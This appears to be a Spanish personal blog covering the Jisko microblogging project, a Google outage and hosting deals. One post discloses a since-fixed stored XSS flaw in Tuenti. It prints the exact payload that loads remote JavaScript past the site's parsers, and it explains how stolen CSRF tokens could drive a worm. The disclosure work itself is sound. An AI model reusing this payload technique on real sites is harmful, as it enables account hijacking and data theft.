Ayer mantuve una breve charla telefónica con Bárbara Yuste, periodista de ABC, que se interesó por la historia de Jisko y sobre la situación actual que estaba pasando. Hoy ha salido un pequeño artículo publicado en la web del periódico (desconozco si en papel existe o no). En él se hace una reseña sobre lo que se ha vivido estos días y cómo se ha podido salir del paso. La explicación oficial está aquí.

El tema de pedir donaciones es algo bastante peliagudo, sobre todo por la polémica que suscita, y ya salí bastante escaldado cuando lo del Macbook. En cierto modo, las personas que lo criticaban tenían razón (matizando, claro está) y no tenía intención de volver a hacerlo. Pero como bien se relata en el correo, la presión de la comunidad empujó la iniciativa y ha salido bastante bien.

Existen dos tipos de comunidad en el proyecto:

• Interna: Las personas que están en jisko.net, unas 2000. Algo bastante reducido ya que, a fin de cuentas, el portal es un lugar donde se muestra el funcionamiento del software, un expositor. Sin embargo, a pesar de ser pocos y bastante dispersos, a la hora de colaborar en, por ejemplo, quedadas, nos juntamos todos y cada uno contribuye. Estamos bastante unidos y la lucha para que el portal no muriera se ha realizado en mayor parte aquí.
• Externa: Todos aquellos que probaron el software, les gustó y lo instalaron en sus servidores, realizaron modificaciones, colaboraron con las traducciones, desarrollaron aplicaciones… pero que no están (en activo) en el portal. Es la parte no tan visible del proyecto, pero muy cuantitativa. El refuerzo que proviene desde aquí (sobre todo, de fuera de España) ha sido impresionante. Y sólo por no dejarles tirados, se seguirá ofreciendo soporte y se intentará el desarrollo constante.

Cuando empezamos con Jisko, desconocíamos si existían o no distintas alternativas de microblogging open-source, simplemente nos pusimos manos a la obra. Pronto descubrimos que no éramos los únicos en esta tarea. Los últimos que llegaron, canadienses, con dinero, empresa e ideas bastante claras, consiguieron imponerse sobre todos. Nosotros, amparados económicamente por un servidor y con un equipo bastante más reducido, nos quedamos muy marginados y poco ha cambiado desde entonces. A pesar de llevar más tiempo que ellos, esto demuestra que no te puedes dormir.

En realidad, nunca quisimos competir con nadie (o no demasiado), simplemente ser un microblogging libre y por mi parte, personalmente, tener mi primer proyecto serio. Pero también hay que saber perder, y reconozco que hemos perdido muchísimo terreno; ahora mismo, a su lado y con la situación actual, poco o nada podemos hacer para ponernos a la altura (sin necesidad de competir, literalmente). Únicamente el apoyo de la comunidad, sobre todo la externa referente al desarrollo, hace que sigamos codeando. Porque hay bastantes personas que prefieren Jisko a otros, y esa es la fuerza necesaria para continuar.

Y ahora, ¿qué rumbo deberíamos de tomar? Desde luego, no es sencillo. Yo quiero empezar a escribir con más frecuencia aquí, siempre me gustaron los blogs y así lo demostré en el pasado. Pero también ver si es posible conseguir apoyo en algún lugar para sacar alguna idea adjunta a la actual para animar el asunto. Tampoco existe urgencia por hacer esto, pero tampoco hay tiempo para hacer demasiada pausa.

Viendo más allá de todo esto, he(¿mos?) aprendido un montón con esto y creo que la experiencia se gana con los errores. No siento que se haya perdido el tiempo en ningún momento, si no que se ha invertido. Estoy orgulloso de haber participado y seguir haciéndolo en esto, esperando que dure, como poco, otro año más :-)

Esto es una explicación sobre la anterior entrada.

El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).

El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:

Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:

1. El usuario escribe y envía.
2. El servidor recibe y guarda, haciendo ciertos cambios [1].
3. Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.

¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.

Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).

Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:

http://diazr.com/</script><script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>

1. La URL podía ser cualquiera, con el único requisito de que terminara en /.
2. Era necesario colocar un </script> previamente antes de iniciar otro.
3. Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
4. Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
5. El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.

Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.

Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.

[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

Nota: Pido disculpas por estas horas de caída del blog, todo ha sucedido por la reciente migración a otro proveedor del que ya hablé (y del que, por cierto, retiro toda crítica positiva). Así que me he vuelto a DreamHost (KJKSZPJ, el cupón de descuento anual, sigue activo) que, a pesar de ser más lento, lo aguanta todo :-)

No son pocos los escépticos con la seguridad y privacidad en las redes sociales. Yo, personalmente, estoy tanto en Facebook como en Tuenti (teniendo más actividad en este último). Para los que no la conozcan, o sólo les suene, la Wikipedia nos cuenta algo:

Tuenti es una red social virtual dirigida a la población joven española. Permite al usuario crear su propio perfil, subir fotos y vídeos y contactar con amigos. Tiene otras muchas posibilidades como crear eventos y etiquetar amigos en fotos. Se caracteriza también por su potente buscador.

Inaugurado en enero de 2006, Tuenti es uno de los sitios web más visitados en España, según Alexa Internet.

Por ejemplo, recientemente, se publicó una vulnerabilidad XSS de Facebook que permitía robar las cookies de cualquier usuario en unas determinadas circunstancias, haciendo insegura instantáneamente a la red social en cuestión. Otra, no tan reciente y más leve, permitía en Tuenti ver la lista de amigos de otro usuario, aunque éste no lo hubiera permitido previamente.

Toda aplicación web es suceptible a agujeros de seguridad. Es imposible que no existan. Aunque lo que no es imposible es trabajar lo máximo posible para reducir esos pequeños errores. Porque los agujeros de seguridad son sólo simples fallos de programación, y le pueden ocurrir desde al más primerizo al profesional que lleva toda una vida dedicada a la programación.

Esta vez vamos a centrarnos en Tuenti ya que es la red social que, con diferencia, más utilizo. Sergio y yo hace algún tiempo que miramos sitios donde encontrar vulnerabilidades para poder notificarlas y después publicarlas. Dependiendo de la gravedad, se publican en el mismo día, sin que se hayan arreglado (1, 2) o se espera un tiempo prudente para publicarlas. Y esta, en Tuenti, es una de las últimas que hemos descubierto.

Contacté ayer con Ícaro Moyano (director de comunicación de Tuenti) aprovechando que tengo contacto directo con él, para explicar la vulnerabilidad a los desarrolladores y de paso mostrar un PoC interesante. Le expliqué que se trataba de una vulnerabilidad extremedamente crítica. Por el momento, sigo a la espera.

Cierta combinación escrita en un tablón de cualquier usuario, podría conseguir que se inutilizara, y que ni él ni nadie pudiera leer ni responder comentarios. El riesgo empezaba a ser interesante aunque no comprometedor, pues lo máximo que podría ocurrir es que el usuario contactara con soporte, ellos lo detectaran y le pusieran arreglo.

Pero no, no es lo peor en realidad. Eso sólo significaría la punta del iceberg. Teniendo en cuenta que el XSS es aplicable en cualquier lugar (tu propio tablón, el de otra persona, comentarios en imágenes…), esto funcionaría como un verdadero gusano. Un gusano que se transmitiría de un usuario a otro a una velocidad vertiginosa, sin que se diera cuenta, haciendo que en pocas horas miles y miles de usuarios estuvieran bajo las manos de todo esto. Y montando un sistema automatizado detrás, hacerse con todas las cuentas rápidamente, dejando la privacidad de todos los usuarios al descubierto, al igual que sin sus preciados datos. Pero por ahora, no voy a dar más detalles, como es lógico.

Esto es tan sólo una muestra de fragilidad que una red social puede tener, que la privacidad nunca es “privada” y que en cualquier momento todo puede ser desmontado (en este caso, en una sola – pero larga – tarde se dio con ello). El tiempo de reacción en estos temas indica el nivel de importancia que se le da a los usuarios desde el equipo dirigente de la red social en sí.

La reacción en Twitter es increíble, y sólo buscando por “is down” (está caído). Se ha convertido en uno de los trending topics. Parece que últimamente a Google no se le dan muy bien las cosas. Hace poco ocurrieron dos sucesos más (ya que el tercero quizá no es achacable directamente, pero estuvo ahí):

• El famoso Google FAIL cuando marcó todos los sitios web, sin excepción, como potencialmente peligrosos.
• Hace un par de semanas el buscador iba tremendamente lento, teniendo que esperar 8-10 segundos por cada consulta… como mínimo.
• YouTube tuvo problemas con algunos proveedores, aunque probablemente culpa “nuestra” (esta Telefónica…).

Parece que no está pasando por muy buena época, y en el momento de escribir esta entrada, Gmail/GApps sigue sin funcionar excepto por IMAP/POP3 (hace un momento, ni eso). ¿Cómo afectarán estas caídas a una compañía tan globalizada? ¿Cuál será la explicación que van a dar? En el blog aún no dicen nada. Pues esta.

Actualización: Ya está, el mundo vuelve a girar.

Imagen de ivanlanin

… están de suerte. Hoy, en uno de mis intentos para resolver mi kilómetrico aburrimiento, había pensado en darme una vuelta por mi anterior proveedor de shared hosting (alojamiento compartido). Y lo cierto es que me he topado con algo que me ha gustado mucho.

Cuando yo estaba en SurpassHosting, por el precio que pagaba, tenía 100 GB de espacio y unos 2 TB de transferencia. El servicio era impecable: buena estabilidad, buena latencia, soporte aceptable… y un precio bastante ajustado. Me fui a DreamHost que, aunque la latencia es algo mayor, el soporte es envidiable y alojo bastante más cosas. Pero eso se paga, claro.

¿Qué ofrecen nuestros amigos de SPH? Para promocionar San Valentín – esa fiesta en la que casi siempre me falta esa persona a la que regalarle algo -, los días 14, 15 y 16 de febrero nos dan un año de hosting por $1 gracias a la promoción OneLove3. Nos dan el plan Power y, según ellos, bajo las mismas condiciones (salvando pequeñas diferencias) que si lo pagaras bajo su precio normal (mismo soporte, mismos ToS). Además, nos regalan una pegatina, la cual seguro que le encontraremos una utilidad.

Yo, desde luego, me lo voy a coger para ver qué tal y si sigue funcionando igual de bien que cuando los dejé. Y si no, siempre podéis usar el código de promoción KJKSZPJ en DreamHost, si pagáis anualmente, para obtener un descuento molón.